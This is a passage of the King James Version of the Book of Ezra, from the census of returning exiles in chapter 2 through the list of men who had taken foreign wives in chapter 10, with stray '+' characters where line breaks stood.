Babylon, and came again unto +Jerusalem and Judah, every one unto his city; 2:2 Which came with +Zerubbabel: Jeshua, Nehemiah, Seraiah, Reelaiah, Mordecai, Bilshan, +Mizpar, Bigvai, Rehum, Baanah. The number of the men of the people of +Israel: 2:3 The children of Parosh, two thousand an hundred seventy +and two. + +2:4 The children of Shephatiah, three hundred seventy and two. + +2:5 The children of Arah, seven hundred seventy and five. + +2:6 The children of Pahathmoab, of the children of Jeshua and Joab, +two thousand eight hundred and twelve. + +2:7 The children of Elam, a thousand two hundred fifty and four. + +2:8 The children of Zattu, nine hundred forty and five. + +2:9 The children of Zaccai, seven hundred and threescore. + +2:10 The children of Bani, six hundred forty and two. + +2:11 The children of Bebai, six hundred twenty and three. + +2:12 The children of Azgad, a thousand two hundred twenty and two. + +2:13 The children of Adonikam, six hundred sixty and six. + +2:14 The children of Bigvai, two thousand fifty and six. + +2:15 The children of Adin, four hundred fifty and four. + +2:16 The children of Ater of Hezekiah, ninety and eight. + +2:17 The children of Bezai, three hundred twenty and three. + +2:18 The children of Jorah, an hundred and twelve. + +2:19 The children of Hashum, two hundred twenty and three. + +2:20 The children of Gibbar, ninety and five. + +2:21 The children of Bethlehem, an hundred twenty and three. + +2:22 The men of Netophah, fifty and six. + +2:23 The men of Anathoth, an hundred twenty and eight. + +2:24 The children of Azmaveth, forty and two. + +2:25 The children of Kirjatharim, Chephirah, and Beeroth, seven +hundred and forty and three. + +2:26 The children of Ramah and Gaba, six hundred twenty and one. + +2:27 The men of Michmas, an hundred twenty and two. + +2:28 The men of Bethel and Ai, two hundred twenty and three. + +2:29 The children of Nebo, fifty and two. + +2:30 The children of Magbish, an hundred fifty and six. + +2:31 The children of the other Elam, a thousand two hundred fifty and +four. + +2:32 The children of Harim, three hundred and twenty. + +2:33 The children of Lod, Hadid, and Ono, seven hundred twenty and +five. + +2:34 The children of Jericho, three hundred forty and five. + +2:35 The children of Senaah, three thousand and six hundred and +thirty. + +2:36 The priests: the children of Jedaiah, of the house of Jeshua, +nine hundred seventy and three. + +2:37 The children of Immer, a thousand fifty and two. + +2:38 The children of Pashur, a thousand two hundred forty and seven. + +2:39 The children of Harim, a thousand and seventeen. + +2:40 The Levites: the children of Jeshua and Kadmiel, of the children +of Hodaviah, seventy and four. + +2:41 The singers: the children of Asaph, an hundred twenty and eight. + +2:42 The children of the porters: the children of Shallum, the +children of Ater, the children of Talmon, the children of Akkub, the +children of Hatita, the children of Shobai, in all an hundred thirty +and nine. + +2:43 The Nethinims: the children of Ziha, the children of Hasupha, the +children of Tabbaoth, 2:44 The children of Keros, the children of +Siaha, the children of Padon, 2:45 The children of Lebanah, the +children of Hagabah, the children of Akkub, 2:46 The children of +Hagab, the children of Shalmai, the children of Hanan, 2:47 The +children of Giddel, the children of Gahar, the children of Reaiah, +2:48 The children of Rezin, the children of Nekoda, the children of +Gazzam, 2:49 The children of Uzza, the children of Paseah, the +children of Besai, 2:50 The children of Asnah, the children of +Mehunim, the children of Nephusim, 2:51 The children of Bakbuk, the +children of Hakupha, the children of Harhur, 2:52 The children of +Bazluth, the children of Mehida, the children of Harsha, 2:53 The +children of Barkos, the children of Sisera, the children of Thamah, +2:54 The children of Neziah, the children of Hatipha. + +2:55 The children of Solomon's servants: the children of Sotai, the +children of Sophereth, the children of Peruda, 2:56 The children of +Jaalah, the children of Darkon, the children of Giddel, 2:57 The +children of Shephatiah, the children of Hattil, the children of +Pochereth of Zebaim, the children of Ami. + +2:58 All the Nethinims, and the children of Solomon's servants, were +three hundred ninety and two. + +2:59 And these were they which went up from Telmelah, Telharsa, +Cherub, Addan, and Immer: but they could not shew their father's +house, and their seed, whether they were of Israel: 2:60 The children +of Delaiah, the children of Tobiah, the children of Nekoda, six +hundred fifty and two. + +2:61 And of the children of the priests: the children of Habaiah, the +children of Koz, the children of Barzillai; which took a wife of the +daughters of Barzillai the Gileadite, and was called after their name: +2:62 These sought their register among those that were reckoned by +genealogy, but they were not found: therefore were they, as polluted, +put from the priesthood. + +2:63 And the Tirshatha said unto them, that they should not eat of the +most holy things, till there stood up a priest with Urim and with +Thummim. + +2:64 The whole congregation together was forty and two thousand three +hundred and threescore, 2:65 Beside their servants and their maids, of +whom there were seven thousand three hundred thirty and seven: and +there were among them two hundred singing men and singing women. + +2:66 Their horses were seven hundred thirty and six; their mules, two +hundred forty and five; 2:67 Their camels, four hundred thirty and +five; their asses, six thousand seven hundred and twenty. + +2:68 And some of the chief of the fathers, when they came to the house +of the LORD which is at Jerusalem, offered freely for the house of God +to set it up in his place: 2:69 They gave after their ability unto the +treasure of the work threescore and one thousand drams of gold, and +five thousand pound of silver, and one hundred priests' garments. + +2:70 So the priests, and the Levites, and some of the people, and the +singers, and the porters, and the Nethinims, dwelt in their cities, +and all Israel in their cities. + +3:1 And when the seventh month was come, and the children of Israel +were in the cities, the people gathered themselves together as one man +to Jerusalem. + +3:2 Then stood up Jeshua the son of Jozadak, and his brethren the +priests, and Zerubbabel the son of Shealtiel, and his brethren, and +builded the altar of the God of Israel, to offer burnt offerings +thereon, as it is written in the law of Moses the man of God. + +3:3 And they set the altar upon his bases; for fear was upon them +because of the people of those countries: and they offered burnt +offerings thereon unto the LORD, even burnt offerings morning and +evening. + +3:4 They kept also the feast of tabernacles, as it is written, and +offered the daily burnt offerings by number, according to the custom, +as the duty of every day required; 3:5 And afterward offered the +continual burnt offering, both of the new moons, and of all the set +feasts of the LORD that were consecrated, and of every one that +willingly offered a freewill offering unto the LORD. + +3:6 From the first day of the seventh month began they to offer burnt +offerings unto the LORD. But the foundation of the temple of the LORD +was not yet laid. + +3:7 They gave money also unto the masons, and to the carpenters; and +meat, and drink, and oil, unto them of Zidon, and to them of Tyre, to +bring cedar trees from Lebanon to the sea of Joppa, according to the +grant that they had of Cyrus king of Persia. + +3:8 Now in the second year of their coming unto the house of God at +Jerusalem, in the second month, began Zerubbabel the son of Shealtiel, +and Jeshua the son of Jozadak, and the remnant of their brethren the +priests and the Levites, and all they that were come out of the +captivity unto Jerusalem; and appointed the Levites, from twenty years +old and upward, to set forward the work of the house of the LORD. + +3:9 Then stood Jeshua with his sons and his brethren, Kadmiel and his +sons, the sons of Judah, together, to set forward the workmen in the +house of God: the sons of Henadad, with their sons and their brethren +the Levites. + +3:10 And when the builders laid the foundation of the temple of the +LORD, they set the priests in their apparel with trumpets, and the +Levites the sons of Asaph with cymbals, to praise the LORD, after the +ordinance of David king of Israel. + +3:11 And they sang together by course in praising and giving thanks +unto the LORD; because he is good, for his mercy endureth for ever +toward Israel. + +And all the people shouted with a great shout, when they praised the +LORD, because the foundation of the house of the LORD was laid. + +3:12 But many of the priests and Levites and chief of the fathers, who +were ancient men, that had seen the first house, when the foundation +of this house was laid before their eyes, wept with a loud voice; and +many shouted aloud for joy: 3:13 So that the people could not discern +the noise of the shout of joy from the noise of the weeping of the +people: for the people shouted with a loud shout, and the noise was +heard afar off. + +4:1 Now when the adversaries of Judah and Benjamin heard that the +children of the captivity builded the temple unto the LORD God of +Israel; 4:2 Then they came to Zerubbabel, and to the chief of the +fathers, and said unto them, Let us build with you: for we seek your +God, as ye do; and we do sacrifice unto him since the days of +Esarhaddon king of Assur, which brought us up hither. + +4:3 But Zerubbabel, and Jeshua, and the rest of the chief of the +fathers of Israel, said unto them, Ye have nothing to do with us to +build an house unto our God; but we ourselves together will build unto +the LORD God of Israel, as king Cyrus the king of Persia hath +commanded us. + +4:4 Then the people of the land weakened the hands of the people of +Judah, and troubled them in building, 4:5 And hired counsellors +against them, to frustrate their purpose, all the days of Cyrus king +of Persia, even until the reign of Darius king of Persia. + +4:6 And in the reign of Ahasuerus, in the beginning of his reign, +wrote they unto him an accusation against the inhabitants of Judah and +Jerusalem. + +4:7 And in the days of Artaxerxes wrote Bishlam, Mithredath, Tabeel, +and the rest of their companions, unto Artaxerxes king of Persia; and +the writing of the letter was written in the Syrian tongue, and +interpreted in the Syrian tongue. + +4:8 Rehum the chancellor and Shimshai the scribe wrote a letter +against Jerusalem to Artaxerxes the king in this sort: 4:9 Then wrote +Rehum the chancellor, and Shimshai the scribe, and the rest of their +companions; the Dinaites, the Apharsathchites, the Tarpelites, the +Apharsites, the Archevites, the Babylonians, the Susanchites, the +Dehavites, and the Elamites, 4:10 And the rest of the nations whom the +great and noble Asnapper brought over, and set in the cities of +Samaria, and the rest that are on this side the river, and at such a +time. + +4:11 This is the copy of the letter that they sent unto him, even unto +Artaxerxes the king; Thy servants the men on this side the river, and +at such a time. + +4:12 Be it known unto the king, that the Jews which came up from thee +to us are come unto Jerusalem, building the rebellious and the bad +city, and have set up the walls thereof, and joined the foundations. + +4:13 Be it known now unto the king, that, if this city be builded, and +the walls set up again, then will they not pay toll, tribute, and +custom, and so thou shalt endamage the revenue of the kings. + +4:14 Now because we have maintenance from the king's palace, and it +was not meet for us to see the king's dishonour, therefore have we +sent and certified the king; 4:15 That search may be made in the book +of the records of thy fathers: so shalt thou find in the book of the +records, and know that this city is a rebellious city, and hurtful +unto kings and provinces, and that they have moved sedition within the +same of old time: for which cause was this city destroyed. + +4:16 We certify the king that, if this city be builded again, and the +walls thereof set up, by this means thou shalt have no portion on this +side the river. + +4:17 Then sent the king an answer unto Rehum the chancellor, and to +Shimshai the scribe, and to the rest of their companions that dwell in +Samaria, and unto the rest beyond the river, Peace, and at such a +time. + +4:18 The letter which ye sent unto us hath been plainly read before +me. + +4:19 And I commanded, and search hath been made, and it is found that +this city of old time hath made insurrection against kings, and that +rebellion and sedition have been made therein. + +4:20 There have been mighty kings also over Jerusalem, which have +ruled over all countries beyond the river; and toll, tribute, and +custom, was paid unto them. + +4:21 Give ye now commandment to cause these men to cease, and that +this city be not builded, until another commandment shall be given +from me. + +4:22 Take heed now that ye fail not to do this: why should damage grow +to the hurt of the kings? 4:23 Now when the copy of king Artaxerxes' +letter was read before Rehum, and Shimshai the scribe, and their +companions, they went up in haste to Jerusalem unto the Jews, and made +them to cease by force and power. + +4:24 Then ceased the work of the house of God which is at Jerusalem. +So it ceased unto the second year of the reign of Darius king of +Persia. + +5:1 Then the prophets, Haggai the prophet, and Zechariah the son of +Iddo, prophesied unto the Jews that were in Judah and Jerusalem in the +name of the God of Israel, even unto them. + +5:2 Then rose up Zerubbabel the son of Shealtiel, and Jeshua the son +of Jozadak, and began to build the house of God which is at Jerusalem: +and with them were the prophets of God helping them. + +5:3 At the same time came to them Tatnai, governor on this side the +river, and Shetharboznai and their companions, and said thus unto +them, Who hath commanded you to build this house, and to make up this +wall? 5:4 Then said we unto them after this manner, What are the +names of the men that make this building? 5:5 But the eye of their +God was upon the elders of the Jews, that they could not cause them to +cease, till the matter came to Darius: and then they returned answer +by letter concerning this matter. + +5:6 The copy of the letter that Tatnai, governor on this side the +river, and Shetharboznai and his companions the Apharsachites, which +were on this side the river, sent unto Darius the king: 5:7 They sent +a letter unto him, wherein was written thus; Unto Darius the king, all +peace. + +5:8 Be it known unto the king, that we went into the province of +Judea, to the house of the great God, which is builded with great +stones, and timber is laid in the walls, and this work goeth fast on, +and prospereth in their hands. + +5:9 Then asked we those elders, and said unto them thus, Who commanded +you to build this house, and to make up these walls? 5:10 We asked +their names also, to certify thee, that we might write the names of +the men that were the chief of them. + +5:11 And thus they returned us answer, saying, We are the servants of +the God of heaven and earth, and build the house that was builded +these many years ago, which a great king of Israel builded and set up. + +5:12 But after that our fathers had provoked the God of heaven unto +wrath, he gave them into the hand of Nebuchadnezzar the king of +Babylon, the Chaldean, who destroyed this house, and carried the +people away into Babylon. + +5:13 But in the first year of Cyrus the king of Babylon the same king +Cyrus made a decree to build this house of God. + +5:14 And the vessels also of gold and silver of the house of God, +which Nebuchadnezzar took out of the temple that was in Jerusalem, and +brought them into the temple of Babylon, those did Cyrus the king take +out of the temple of Babylon, and they were delivered unto one, whose +name was Sheshbazzar, whom he had made governor; 5:15 And said unto +him, Take these vessels, go, carry them into the temple that is in +Jerusalem, and let the house of God be builded in his place. + +5:16 Then came the same Sheshbazzar, and laid the foundation of the +house of God which is in Jerusalem: and since that time even until now +hath it been in building, and yet it is not finished. + +5:17 Now therefore, if it seem good to the king, let there be search +made in the king's treasure house, which is there at Babylon, whether +it be so, that a decree was made of Cyrus the king to build this house +of God at Jerusalem, and let the king send his pleasure to us +concerning this matter. + +6:1 Then Darius the king made a decree, and search was made in the +house of the rolls, where the treasures were laid up in Babylon. + +6:2 And there was found at Achmetha, in the palace that is in the +province of the Medes, a roll, and therein was a record thus written: +6:3 In the first year of Cyrus the king the same Cyrus the king made a +decree concerning the house of God at Jerusalem, Let the house be +builded, the place where they offered sacrifices, and let the +foundations thereof be strongly laid; the height thereof threescore +cubits, and the breadth thereof threescore cubits; 6:4 With three rows +of great stones, and a row of new timber: and let the expenses be +given out of the king's house: 6:5 And also let the golden and silver +vessels of the house of God, which Nebuchadnezzar took forth out of +the temple which is at Jerusalem, and brought unto Babylon, be +restored, and brought again unto the temple which is at Jerusalem, +every one to his place, and place them in the house of God. + +6:6 Now therefore, Tatnai, governor beyond the river, Shetharboznai, +and your companions the Apharsachites, which are beyond the river, be +ye far from thence: 6:7 Let the work of this house of God alone; let +the governor of the Jews and the elders of the Jews build this house +of God in his place. + +6:8 Moreover I make a decree what ye shall do to the elders of these +Jews for the building of this house of God: that of the king's goods, +even of the tribute beyond the river, forthwith expenses be given unto +these men, that they be not hindered. + +6:9 And that which they have need of, both young bullocks, and rams, +and lambs, for the burnt offerings of the God of heaven, wheat, salt, +wine, and oil, according to the appointment of the priests which are +at Jerusalem, let it be given them day by day without fail: 6:10 That +they may offer sacrifices of sweet savours unto the God of heaven, and +pray for the life of the king, and of his sons. + +6:11 Also I have made a decree, that whosoever shall alter this word, +let timber be pulled down from his house, and being set up, let him be +hanged thereon; and let his house be made a dunghill for this. + +6:12 And the God that hath caused his name to dwell there destroy all +kings and people, that shall put to their hand to alter and to destroy +this house of God which is at Jerusalem. I Darius have made a decree; +let it be done with speed. + +6:13 Then Tatnai, governor on this side the river, Shetharboznai, and +their companions, according to that which Darius the king had sent, so +they did speedily. + +6:14 And the elders of the Jews builded, and they prospered through +the prophesying of Haggai the prophet and Zechariah the son of Iddo. +And they builded, and finished it, according to the commandment of the +God of Israel, and according to the commandment of Cyrus, and Darius, +and Artaxerxes king of Persia. + +6:15 And this house was finished on the third day of the month Adar, +which was in the sixth year of the reign of Darius the king. + +6:16 And the children of Israel, the priests, and the Levites, and the +rest of the children of the captivity, kept the dedication of this +house of God with joy. + +6:17 And offered at the dedication of this house of God an hundred +bullocks, two hundred rams, four hundred lambs; and for a sin offering +for all Israel, twelve he goats, according to the number of the tribes +of Israel. + +6:18 And they set the priests in their divisions, and the Levites in +their courses, for the service of God, which is at Jerusalem; as it is +written in the book of Moses. + +6:19 And the children of the captivity kept the passover upon the +fourteenth day of the first month. + +6:20 For the priests and the Levites were purified together, all of +them were pure, and killed the passover for all the children of the +captivity, and for their brethren the priests, and for themselves. + +6:21 And the children of Israel, which were come again out of +captivity, and all such as had separated themselves unto them from the +filthiness of the heathen of the land, to seek the LORD God of Israel, +did eat, 6:22 And kept the feast of unleavened bread seven days with +joy: for the LORD had made them joyful, and turned the heart of the +king of Assyria unto them, to strengthen their hands in the work of +the house of God, the God of Israel. + +7:1 Now after these things, in the reign of Artaxerxes king of Persia, +Ezra the son of Seraiah, the son of Azariah, the son of Hilkiah, 7:2 +The son of Shallum, the son of Zadok, the son of Ahitub, 7:3 The son +of Amariah, the son of Azariah, the son of Meraioth, 7:4 The son of +Zerahiah, the son of Uzzi, the son of Bukki, 7:5 The son of Abishua, +the son of Phinehas, the son of Eleazar, the son of Aaron the chief +priest: 7:6 This Ezra went up from Babylon; and he was a ready scribe +in the law of Moses, which the LORD God of Israel had given: and the +king granted him all his request, according to the hand of the LORD +his God upon him. + +7:7 And there went up some of the children of Israel, and of the +priests, and the Levites, and the singers, and the porters, and the +Nethinims, unto Jerusalem, in the seventh year of Artaxerxes the king. + +7:8 And he came to Jerusalem in the fifth month, which was in the +seventh year of the king. + +7:9 For upon the first day of the first month began he to go up from +Babylon, and on the first day of the fifth month came he to Jerusalem, +according to the good hand of his God upon him. + +7:10 For Ezra had prepared his heart to seek the law of the LORD, and +to do it, and to teach in Israel statutes and judgments. + +7:11 Now this is the copy of the letter that the king Artaxerxes gave +unto Ezra the priest, the scribe, even a scribe of the words of the +commandments of the LORD, and of his statutes to Israel. + +7:12 Artaxerxes, king of kings, unto Ezra the priest, a scribe of the +law of the God of heaven, perfect peace, and at such a time. + +7:13 I make a decree, that all they of the people of Israel, and of +his priests and Levites, in my realm, which are minded of their own +freewill to go up to Jerusalem, go with thee. + +7:14 Forasmuch as thou art sent of the king, and of his seven +counsellors, to enquire concerning Judah and Jerusalem, according to +the law of thy God which is in thine hand; 7:15 And to carry the +silver and gold, which the king and his counsellors have freely +offered unto the God of Israel, whose habitation is in Jerusalem, 7:16 +And all the silver and gold that thou canst find in all the province +of Babylon, with the freewill offering of the people, and of the +priests, offering willingly for the house of their God which is in +Jerusalem: 7:17 That thou mayest buy speedily with this money +bullocks, rams, lambs, with their meat offerings and their drink +offerings, and offer them upon the altar of the house of your God +which is in Jerusalem. + +7:18 And whatsoever shall seem good to thee, and to thy brethren, to +do with the rest of the silver and the gold, that do after the will of +your God. + +7:19 The vessels also that are given thee for the service of the house +of thy God, those deliver thou before the God of Jerusalem. + +7:20 And whatsoever more shall be needful for the house of thy God, +which thou shalt have occasion to bestow, bestow it out of the king's +treasure house. + +7:21 And I, even I Artaxerxes the king, do make a decree to all the +treasurers which are beyond the river, that whatsoever Ezra the +priest, the scribe of the law of the God of heaven, shall require of +you, it be done speedily, 7:22 Unto an hundred talents of silver, and +to an hundred measures of wheat, and to an hundred baths of wine, and +to an hundred baths of oil, and salt without prescribing how much. + +7:23 Whatsoever is commanded by the God of heaven, let it be +diligently done for the house of the God of heaven: for why should +there be wrath against the realm of the king and his sons? 7:24 Also +we certify you, that touching any of the priests and Levites, singers, +porters, Nethinims, or ministers of this house of God, it shall not be +lawful to impose toll, tribute, or custom, upon them. + +7:25 And thou, Ezra, after the wisdom of thy God, that is in thine +hand, set magistrates and judges, which may judge all the people that +are beyond the river, all such as know the laws of thy God; and teach +ye them that know them not. + +7:26 And whosoever will not do the law of thy God, and the law of the +king, let judgment be executed speedily upon him, whether it be unto +death, or to banishment, or to confiscation of goods, or to +imprisonment. + +7:27 Blessed be the LORD God of our fathers, which hath put such a +thing as this in the king's heart, to beautify the house of the LORD +which is in Jerusalem: 7:28 And hath extended mercy unto me before the +king, and his counsellors, and before all the king's mighty princes. +And I was strengthened as the hand of the LORD my God was upon me, and +I gathered together out of Israel chief men to go up with me. + +8:1 These are now the chief of their fathers, and this is the +genealogy of them that went up with me from Babylon, in the reign of +Artaxerxes the king. + +8:2 Of the sons of Phinehas; Gershom: of the sons of Ithamar; Daniel: +of the sons of David; Hattush. + +8:3 Of the sons of Shechaniah, of the sons of Pharosh; Zechariah: and +with him were reckoned by genealogy of the males an hundred and fifty. + +8:4 Of the sons of Pahathmoab; Elihoenai the son of Zerahiah, and with +him two hundred males. + +8:5 Of the sons of Shechaniah; the son of Jahaziel, and with him three +hundred males. + +8:6 Of the sons also of Adin; Ebed the son of Jonathan, and with him +fifty males. + +8:7 And of the sons of Elam; Jeshaiah the son of Athaliah, and with +him seventy males. + +8:8 And of the sons of Shephatiah; Zebadiah the son of Michael, and +with him fourscore males. + +8:9 Of the sons of Joab; Obadiah the son of Jehiel, and with him two +hundred and eighteen males. + +8:10 And of the sons of Shelomith; the son of Josiphiah, and with him +an hundred and threescore males. + +8:11 And of the sons of Bebai; Zechariah the son of Bebai, and with +him twenty and eight males. + +8:12 And of the sons of Azgad; Johanan the son of Hakkatan, and with +him an hundred and ten males. + +8:13 And of the last sons of Adonikam, whose names are these, +Eliphelet, Jeiel, and Shemaiah, and with them threescore males. + +8:14 Of the sons also of Bigvai; Uthai, and Zabbud, and with them +seventy males. + +8:15 And I gathered them together to the river that runneth to Ahava; +and there abode we in tents three days: and I viewed the people, and +the priests, and found there none of the sons of Levi. + +8:16 Then sent I for Eliezer, for Ariel, for Shemaiah, and for +Elnathan, and for Jarib, and for Elnathan, and for Nathan, and for +Zechariah, and for Meshullam, chief men; also for Joiarib, and for +Elnathan, men of understanding. + +8:17 And I sent them with commandment unto Iddo the chief at the place +Casiphia, and I told them what they should say unto Iddo, and to his +brethren the Nethinims, at the place Casiphia, that they should bring +unto us ministers for the house of our God. + +8:18 And by the good hand of our God upon us they brought us a man of +understanding, of the sons of Mahli, the son of Levi, the son of +Israel; and Sherebiah, with his sons and his brethren, eighteen; 8:19 +And Hashabiah, and with him Jeshaiah of the sons of Merari, his +brethren and their sons, twenty; 8:20 Also of the Nethinims, whom +David and the princes had appointed for the service of the Levites, +two hundred and twenty Nethinims: all of them were expressed by name. + +8:21 Then I proclaimed a fast there, at the river of Ahava, that we +might afflict ourselves before our God, to seek of him a right way for +us, and for our little ones, and for all our substance. + +8:22 For I was ashamed to require of the king a band of soldiers and +horsemen to help us against the enemy in the way: because we had +spoken unto the king, saying, The hand of our God is upon all them for +good that seek him; but his power and his wrath is against all them +that forsake him. + +8:23 So we fasted and besought our God for this: and he was intreated +of us. + +8:24 Then I separated twelve of the chief of the priests, Sherebiah, +Hashabiah, and ten of their brethren with them, 8:25 And weighed unto +them the silver, and the gold, and the vessels, even the offering of +the house of our God, which the king, and his counsellors, and his +lords, and all Israel there present, had offered: 8:26 I even weighed +unto their hand six hundred and fifty talents of silver, and silver +vessels an hundred talents, and of gold an hundred talents; 8:27 Also +twenty basons of gold, of a thousand drams; and two vessels of fine +copper, precious as gold. + +8:28 And I said unto them, Ye are holy unto the LORD; the vessels are +holy also; and the silver and the gold are a freewill offering unto +the LORD God of your fathers. + +8:29 Watch ye, and keep them, until ye weigh them before the chief of +the priests and the Levites, and chief of the fathers of Israel, at +Jerusalem, in the chambers of the house of the LORD. + +8:30 So took the priests and the Levites the weight of the silver, and +the gold, and the vessels, to bring them to Jerusalem unto the house +of our God. + +8:31 Then we departed from the river of Ahava on the twelfth day of +the first month, to go unto Jerusalem: and the hand of our God was +upon us, and he delivered us from the hand of the enemy, and of such +as lay in wait by the way. + +8:32 And we came to Jerusalem, and abode there three days. + +8:33 Now on the fourth day was the silver and the gold and the vessels +weighed in the house of our God by the hand of Meremoth the son of +Uriah the priest; and with him was Eleazar the son of Phinehas; and +with them was Jozabad the son of Jeshua, and Noadiah the son of +Binnui, Levites; 8:34 By number and by weight of every one: and all +the weight was written at that time. + +8:35 Also the children of those that had been carried away, which were +come out of the captivity, offered burnt offerings unto the God of +Israel, twelve bullocks for all Israel, ninety and six rams, seventy +and seven lambs, twelve he goats for a sin offering: all this was a +burnt offering unto the LORD. + +8:36 And they delivered the king's commissions unto the king's +lieutenants, and to the governors on this side the river: and they +furthered the people, and the house of God. + +9:1 Now when these things were done, the princes came to me, saying, +The people of Israel, and the priests, and the Levites, have not +separated themselves from the people of the lands, doing according to +their abominations, even of the Canaanites, the Hittites, the +Perizzites, the Jebusites, the Ammonites, the Moabites, the Egyptians, +and the Amorites. + +9:2 For they have taken of their daughters for themselves, and for +their sons: so that the holy seed have mingled themselves with the +people of those lands: yea, the hand of the princes and rulers hath +been chief in this trespass. + +9:3 And when I heard this thing, I rent my garment and my mantle, and +plucked off the hair of my head and of my beard, and sat down +astonied. + +9:4 Then were assembled unto me every one that trembled at the words +of the God of Israel, because of the transgression of those that had +been carried away; and I sat astonied until the evening sacrifice. + +9:5 And at the evening sacrifice I arose up from my heaviness; and +having rent my garment and my mantle, I fell upon my knees, and spread +out my hands unto the LORD my God, 9:6 And said, O my God, I am +ashamed and blush to lift up my face to thee, my God: for our +iniquities are increased over our head, and our trespass is grown up +unto the heavens. + +9:7 Since the days of our fathers have we been in a great trespass +unto this day; and for our iniquities have we, our kings, and our +priests, been delivered into the hand of the kings of the lands, to +the sword, to captivity, and to a spoil, and to confusion of face, as +it is this day. + +9:8 And now for a little space grace hath been shewed from the LORD +our God, to leave us a remnant to escape, and to give us a nail in his +holy place, that our God may lighten our eyes, and give us a little +reviving in our bondage. + +9:9 For we were bondmen; yet our God hath not forsaken us in our +bondage, but hath extended mercy unto us in the sight of the kings of +Persia, to give us a reviving, to set up the house of our God, and to +repair the desolations thereof, and to give us a wall in Judah and in +Jerusalem. + +9:10 And now, O our God, what shall we say after this? for we have +forsaken thy commandments, 9:11 Which thou hast commanded by thy +servants the prophets, saying, The land, unto which ye go to possess +it, is an unclean land with the filthiness of the people of the lands, +with their abominations, which have filled it from one end to another +with their uncleanness. + +9:12 Now therefore give not your daughters unto their sons, neither +take their daughters unto your sons, nor seek their peace or their +wealth for ever: that ye may be strong, and eat the good of the land, +and leave it for an inheritance to your children for ever. + +9:13 And after all that is come upon us for our evil deeds, and for +our great trespass, seeing that thou our God hast punished us less +than our iniquities deserve, and hast given us such deliverance as +this; 9:14 Should we again break thy commandments, and join in +affinity with the people of these abominations? wouldest not thou be +angry with us till thou hadst consumed us, so that there should be no +remnant nor escaping? 9:15 O LORD God of Israel, thou art righteous: +for we remain yet escaped, as it is this day: behold, we are before +thee in our trespasses: for we cannot stand before thee because of +this. + +10:1 Now when Ezra had prayed, and when he had confessed, weeping and +casting himself down before the house of God, there assembled unto him +out of Israel a very great congregation of men and women and children: +for the people wept very sore. + +10:2 And Shechaniah the son of Jehiel, one of the sons of Elam, +answered and said unto Ezra, We have trespassed against our God, and +have taken strange wives of the people of the land: yet now there is +hope in Israel concerning this thing. + +10:3 Now therefore let us make a covenant with our God to put away all +the wives, and such as are born of them, according to the counsel of +my lord, and of those that tremble at the commandment of our God; and +let it be done according to the law. + +10:4 Arise; for this matter belongeth unto thee: we also will be with +thee: be of good courage, and do it. + +10:5 Then arose Ezra, and made the chief priests, the Levites, and all +Israel, to swear that they should do according to this word. And they +sware. + +10:6 Then Ezra rose up from before the house of God, and went into the +chamber of Johanan the son of Eliashib: and when he came thither, he +did eat no bread, nor drink water: for he mourned because of the +transgression of them that had been carried away. + +10:7 And they made proclamation throughout Judah and Jerusalem unto +all the children of the captivity, that they should gather themselves +together unto Jerusalem; 10:8 And that whosoever would not come within +three days, according to the counsel of the princes and the elders, +all his substance should be forfeited, and himself separated from the +congregation of those that had been carried away. + +10:9 Then all the men of Judah and Benjamin gathered themselves +together unto Jerusalem within three days. It was the ninth month, on +the twentieth day of the month; and all the people sat in the street +of the house of God, trembling because of this matter, and for the +great rain. + +10:10 And Ezra the priest stood up, and said unto them, Ye have +transgressed, and have taken strange wives, to increase the trespass +of Israel. + +10:11 Now therefore make confession unto the LORD God of your fathers, +and do his pleasure: and separate yourselves from the people of the +land, and from the strange wives. + +10:12 Then all the congregation answered and said with a loud voice, +As thou hast said, so must we do. + +10:13 But the people are many, and it is a time of much rain, and we +are not able to stand without, neither is this a work of one day or +two: for we are many that have transgressed in this thing. + +10:14 Let now our rulers of all the congregation stand, and let all +them which have taken strange wives in our cities come at appointed +times, and with them the elders of every city, and the judges thereof, +until the fierce wrath of our God for this matter be turned from us. + +10:15 Only Jonathan the son of Asahel and Jahaziah the son of Tikvah +were employed about this matter: and Meshullam and Shabbethai the +Levite helped them. + +10:16 And the children of the captivity did so. And Ezra the priest, +with certain chief of the fathers, after the house of their fathers, +and all of them by their names, were separated, and sat down in the +first day of the tenth month to examine the matter. + +10:17 And they made an end with all the men that had taken strange +wives by the first day of the first month. + +10:18 And among the sons of the priests there were found that had +taken strange wives: namely, of the sons of Jeshua the son of Jozadak, +and his brethren; Maaseiah, and Eliezer, and Jarib, and Gedaliah. + +10:19 And they gave their hands that they would put away their wives; +and being guilty, they offered a ram of the flock for their trespass. + +10:20 And of the sons of Immer; Hanani, and Zebadiah. + +10:21 And of the sons of Harim; Maaseiah, and Elijah, and Shemaiah, +and Jehiel, and Uzziah. + +10:22 And of the sons of Pashur; Elioenai, Maaseiah, Ishmael, +Nethaneel, Jozabad, and Elasah. + +10:23 Also of the Levites; Jozabad, and Shimei, and Kelaiah, (the same +is Kelita,) Pethahiah, Judah, and Eliezer. + +10:24 Of the singers also; Eliashib: and of the porters; Shallum, and +Telem, and Uri. + +10:25 Moreover of Israel: of the sons of Parosh; Ramiah, and Jeziah, +and Malchiah, and Miamin, and Eleazar, and Malchijah, and Benaiah. + +10:26 And of the sons of Elam; Mattaniah, Zechariah, and Jehiel, and +Abdi, and Jeremoth, and Eliah. + +10:27 And of the sons of Zattu; Elioenai, Eliashib, Mattaniah, and +Jeremoth, and Zabad, and Aziza. + +10:28 Of the sons also of Bebai; Jehohanan, Hananiah, Zabbai, and +Athlai. + +10:29 And of the sons of Bani; Meshullam, Malluch, and Adaiah, Jashub, +and Sheal, and Ramoth. + +10:30 And of the sons of Pahathmoab; Adna, and Chelal, Benaiah, +Maaseiah, Mattaniah, Bezaleel, and Binnui, and Manasseh. + +10:31 And of the sons of Harim; Eliezer, Ishijah, Malchiah, Shemaiah, +Shimeon, 10:32 Benjamin, Malluch, and Shemariah. + +10:33 Of the sons of Hashum; Mattenai, Mattathah, Zabad, Eliphelet, +Jeremai, Manasseh, and Shimei. + +10:34 Of the sons of Bani; Maadai, Amram, and Uel, 10:35 Benaiah, +Bedeiah, Chelluh, 10:36 Vaniah, Meremoth, Eliashib, 10:37 Mattaniah, +Mattenai, and Jaasau, 10:38 And Bani, and Binnui, Shimei, 10:39 And +Shelemiah, and Nathan, and Adaiah, 10:40 Machnadebai, Shashai, Sharai, +10:41 Azareel, and Shelemiah, Shemariah, 10:42 Shallum, Amariah, and +Joseph. + +10:43 Of the sons of Nebo; Jeiel, Mattithiah, Zabad, Zebina, Jadau, +and Joel, Benaiah. + +10:44 All these had taken strange wives: and some of them had wives by +whom they had children. + + + 